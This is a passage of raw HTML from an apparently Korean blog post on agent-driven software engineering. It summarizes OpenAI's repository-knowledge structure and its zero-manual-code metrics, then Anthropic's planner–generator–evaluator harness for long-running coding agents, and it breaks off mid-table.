width=&quot;2612&quot; height=&quot;1424&quot; data-origin-width=&quot;2612&quot; data-origin-height=&quot;1424&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;0줄 수동 코드, 100만 줄 제품&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;지표&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;기간&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;5개월 (2025년 8월~)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;수동 작성 코드&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;0줄&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;총 코드량&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;~100만 줄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;PR 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;~1,500개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;엔지니어 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;3명 &amp;rarr; 7명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;처리량&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;엔지니어당 3.5 PR/일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;속도 추정&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;수작업 대비 ~1/10 시간 &lt;small style=&quot;color: #888;&quot;&gt;[ESTIMATE - 원문에서 직접 인용되지 않음]&lt;/small&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 원칙은 &lt;b&gt;&quot;Humans steer. Agents execute.&quot;&lt;/b&gt; &amp;mdash; 인간은 방향을 잡고, 에이전트가 실행한다. 인간은 코드를 쓰는 것이 아니라 &lt;b&gt;환경을 설계하고, 의도를 명세하고, 피드백 루프를 만드는 것&lt;/b&gt;이 주 업무가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리포지토리 = 에이전트의 세계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI가 가장 강조하는 개념: &lt;b&gt;&quot;에이전트가 접근할 수 없는 것은 존재하지 않는 것과 같다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Google Docs에 있는 설계 문서, Slack에서 합의한 아키텍처 결정, 사람의 머릿속에 있는 암묵지 &amp;mdash; 이런 것들은 에이전트에게 &lt;b&gt;보이지 않는다&lt;/b&gt;. 따라서 모든 지식을 리포지토리 안에 버전 관리되는 형태로 넣어야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# OpenAI가 제안하는 리포지토리 지식 구조

AGENTS.md              # 약 100줄의 &quot;목차&quot; &amp;mdash; 지도 역할
ARCHITECTURE.md        # 최상위 도메인/패키지 맵
docs/
├── design-docs/       # 설계 문서 (검증 상태 포함)
│   ├── index.md
│   ├── core-beliefs.md
│   └── ...
├── exec-plans/        # 실행 계획 (활성/완료/기술부채)
│   ├── active/
│   ├── completed/
│   └── tech-debt-tracker.md
├── generated/         # 자동 생성 문서 (DB 스키마 등)
├── product-specs/     # 제품 스펙
├── references/        # 외부 참조 (llms.txt 등)
├── DESIGN.md
├── FRONTEND.md
├── QUALITY_SCORE.md   # 각 도메인/레이어별 품질 등급
├── RELIABILITY.md
└── SECURITY.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2642&quot; data-origin-height=&quot;1462&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/by36kH/dJMcaivWaoU/3nCIt4VcaWLPk1OCQVAqLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/by36kH/dJMcaivWaoU/3nCIt4VcaWLPk1OCQVAqLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/by36kH/dJMcaivWaoU/3nCIt4VcaWLPk1OCQVAqLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby36kH%2FdJMcaivWaoU%2F3nCIt4VcaWLPk1OCQVAqLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2642&quot; height=&quot;1462&quot; data-origin-width=&quot;2642&quot; data-origin-height=&quot;1462&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.md를 &quot;1,000페이지 매뉴얼&quot;이 아닌 &quot;목차&quot;로 쓰라&lt;/b&gt;는 것이 핵심이다. OpenAI는 초기에 거대한 AGENTS.md를 시도했지만 실패했다. 이유 4가지:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트는 희소 자원&lt;/b&gt;: 거대한 지시 파일이 실제 작업 컨텍스트를 밀어낸다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;모든 게 중요하면 아무것도 중요하지 않다&lt;/b&gt;: 에이전트가 의도적 탐색 대신 패턴 매칭에 빠진다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;즉시 썩는다&lt;/b&gt;: 단일체 매뉴얼은 유지보수가 안 된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;검증이 어렵다&lt;/b&gt;: 하나의 파일로는 커버리지, 신선도, 교차 링크를 기계적으로 확인할 수 없다&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;대신 &lt;b&gt;Progressive Disclosure&lt;/b&gt;(점진적 공개)를 사용한다. 에이전트는 작고 안정적인 진입점(AGENTS.md)에서 시작해서, 필요에 따라 더 깊은 문서를 탐색한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;아키텍처 강제와 엔트로피 관리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트가 100만 줄의 코드를 생성하면 &lt;b&gt;엔트로피&lt;/b&gt;(코드 품질 저하)가 불가피하다. OpenAI는 이를 두 가지로 해결한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2408&quot; data-origin-height=&quot;1346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxCQ8F/dJMb996RXjO/Dd7knTJMkyC57o3fB5Cg50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxCQ8F/dJMb996RXjO/Dd7knTJMkyC57o3fB5Cg50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxCQ8F/dJMb996RXjO/Dd7knTJMkyC57o3fB5Cg50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxCQ8F%2FdJMb996RXjO%2FDd7knTJMkyC57o3fB5Cg50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2408&quot; height=&quot;1346&quot; data-origin-width=&quot;2408&quot; data-origin-height=&quot;1346&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) 아키텍처 불변량(Invariant) 강제&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 비즈니스 도메인을 고정된 레이어(Types &amp;rarr; Config &amp;rarr; Repo &amp;rarr; Service &amp;rarr; Runtime &amp;rarr; UI)로 나누고, 의존성 방향을 린터로 강제한다. &quot;구현 방법은 자유롭게, 경계는 엄격하게&quot;가 원칙이다. 이 린터도 Codex가 작성했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) &quot;가비지 컬렉션&quot; &amp;mdash; 정기적 정리&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;초기에는 매주 금요일(주당 20%)을 &quot;AI 슬롭(slop) 청소&quot;에 썼는데 확장이 안 됐다. 대신 &quot;golden principles&quot;를 리포지토리에 코드화하고, &lt;b&gt;백그라운드 Codex 태스크&lt;/b&gt;가 정기적으로 위반을 스캔하여 리팩토링 PR을 열도록 자동화했다. 기술 부채를 &quot;고이자 대출&quot;에 비유하며, 소량씩 지속적으로 갚는 것이 폭발적으로 쌓이는 것보다 낫다고 말한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;OpenAI의 핵심 통찰&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;에이전트가 생성한 코드가 인간의 스타일 선호와 항상 일치하지는 않는다. &lt;b&gt;그래도 괜찮다.&lt;/b&gt; 코드가 정확하고, 유지보수 가능하고, 미래 에이전트 실행에 읽기 쉬우면 기준을 충족한다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Anthropic의 접근: 하네스 디자인&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 글은 다른 각도에서 출발한다. &lt;b&gt;장시간(수 시간) 자율 코딩에서 품질을 어떻게 보장하는가?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://www.anthropic.com/engineering/harness-design-long-running-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Engineering Blog&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;나이브한 구현이 실패하는 이유&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 두 가지 근본적인 실패 모드를 식별한다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트 불안(Context Anxiety)&lt;/b&gt;: 컨텍스트 윈도우가 차면서 모델이 일관성을 잃거나, 아직 할 일이 남았는데 일찍 마무리하려 한다. Sonnet 4.5에서 특히 심했으며, 컴팩션(요약)만으로는 해결되지 않았다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;자기 평가의 편향&lt;/b&gt;: 에이전트에게 자기 작업을 평가하라고 하면 &lt;b&gt;&quot;자신감 있게 칭찬한다&quot;&lt;/b&gt; &amp;mdash; 인간이 보기에 품질이 떨어져도. 특히 디자인 같은 주관적 영역에서 심하지만, 검증 가능한 코딩 작업에서도 발생한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GAN에서 영감받은 3-에이전트 구조&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 문제를 해결하기 위해, Anthropic은 &lt;a href=&quot;https://en.wikipedia.org/wiki/Generative_adversarial_network&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GAN(Generative Adversarial Network)&lt;/a&gt;에서 영감을 받은 &lt;b&gt;3-에이전트 아키텍처&lt;/b&gt;를 설계했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2638&quot; data-origin-height=&quot;1464&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDix5o/dJMcagEWQbZ/CKkTyFQ5fgolafK3ifhRnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDix5o/dJMcagEWQbZ/CKkTyFQ5fgolafK3ifhRnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDix5o/dJMcagEWQbZ/CKkTyFQ5fgolafK3ifhRnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDix5o%2FdJMcagEWQbZ%2FCKkTyFQ5fgolafK3ifhRnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2638&quot; height=&quot;1464&quot; data-origin-width=&quot;2638&quot; data-origin-height=&quot;1464&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;에이전트&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;세부 사항&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Planner&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;1~4문장 프롬프트를 풀 스펙으로 확장&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;기술 세부사항보다 제품 맥락과 고수준 설계에 집중. AI 기능 통합 기회 탐색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Generator&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;실제 코드 생성 및 구현&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;스프린트 단위로 작업. React + Vite + FastAPI + SQLite/PostgreSQL 스택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Evaluator&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Playwright MCP로 실제 앱을 조작하며 QA&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;기능별 점수 + 상세 비평. 기준 미달 시 Generator에 피드백&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Generator와 Evaluator 사이에는 &lt;b&gt;스프린트 계약(Sprint Contract)&lt;/b&gt;이 있다. 코드를 작성하기 전에 &quot;이 스프린트에서 '완료'가 뭔지&quot;를 양쪽이 합의한다. Evaluator는 이 계약을 기준으로 평가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주관적 품질을 점수화하기 &amp;mdash; 프론트엔드 디자인 실험&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 프론트엔드 디자인에서 먼저 이 패턴을 실험했다. &quot;이 디자인이 아름다운가?&quot;는 일관되게 답하기 어렵지만, &lt;b&gt;&quot;이 디자인이 우리 원칙을 따르는가?&quot;&lt;/b&gt;는 구체적으로 평가할 수 있다. 4가지 평가 기준을 만들었다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기준&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;가중치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Design Quality&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;색, 타이포그래피, 레이아웃이 하나의 분위기를 형성하는가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Originality&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;의도적인 창의적 선택이 있는가, 아니면 AI 슬롭 패턴인가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Craft&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;기술적 실행 품질 (타이포 계층, 간격 일관성, 대비)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;보통&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Functionality&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;미학과 무관한 사용성 &amp;mdash; 사용자가 작업을 완료할 수 있는가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;보통&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반복 5~15회, 최대 4시간이 걸렸다. 주목할 점은, Evaluator가 Playwright MCP로 &lt;b&gt;실제 페이지를 탐색하고 스크린샷을 찍으면서&lt;/b&gt; 평가한다는 것이다. 정적 스크린샷이 아니라 실제 인터랙션이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&quot;박물관 수준의&quot; 디자인 도약&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;네덜란드 미술관 웹사이트를 생성할 때, 9번째 반복까지는 깔끔한 다크 테마 랜딩 페이지였다. 그런데 &lt;b&gt;10번째 반복에서 기존 접근을 완전히 버리고&lt;/b&gt;, CSS perspective로 렌더링된 3D 갤러리 &amp;mdash; 체크무늬 바닥, 벽에 걸린 작품, 문 기반 내비게이션 &amp;mdash; 로 재구상했다. 이전의 단일 패스 생성에서는 한 번도 본 적 없는 창의적 도약이었다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모델이 좋아지면 하네스도 바뀐다&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 가장 강조하는 교훈이다. &lt;b&gt;하네스의 모든 구성 요소는 &quot;모델이 혼자 못하는 것&quot;에 대한 가정을 인코딩한다. 모델이 좋아지면 가정을 재검증해야 한다.&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2578&quot; data-origin-height=&quot;1400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF99wa/dJMcagkBvfo/J2unv1vwwX7kxK0F52yygk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF99wa/dJMcagkBvfo/J2unv1vwwX7kxK0F52yygk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF99wa/dJMcagkBvfo/J2unv1vwwX7kxK0F52yygk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF99wa%2FdJMcagkBvfo%2FJ2unv1vwwX7kxK0F52yygk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2578&quot; height=&quot;1400&quot; data-origin-width=&quot;2578&quot; data-origin-height=&quot;1400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;하네스 구성&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Opus 4.5에서&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Opus 4.6에서&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;스프린트 분해&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;필수 &amp;mdash; Sonnet 4.5가 긴 작업 일관성 유지 불가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;Opus 4.5부터 불필요&lt;/b&gt; &amp;mdash; Opus 4.5에서 컨텍스트 불안 해소, Opus 4.6에서도 불필요. 2시간+ 일관 작업 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;컨텍스트 리셋&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;필수 &amp;mdash; Sonnet 4.5의 컨텍스트 불안 대응&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;불필요&lt;/b&gt; &amp;mdash; Opus 4.5부터 해소되어 4.6에서도 불필요, 자동 컴팩션 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Evaluator (QA)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;매 스프린트마다 실행&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;전체 빌드 후 1회 (여전히 가치 있음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Planner&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;필수&lt;/td&gt;
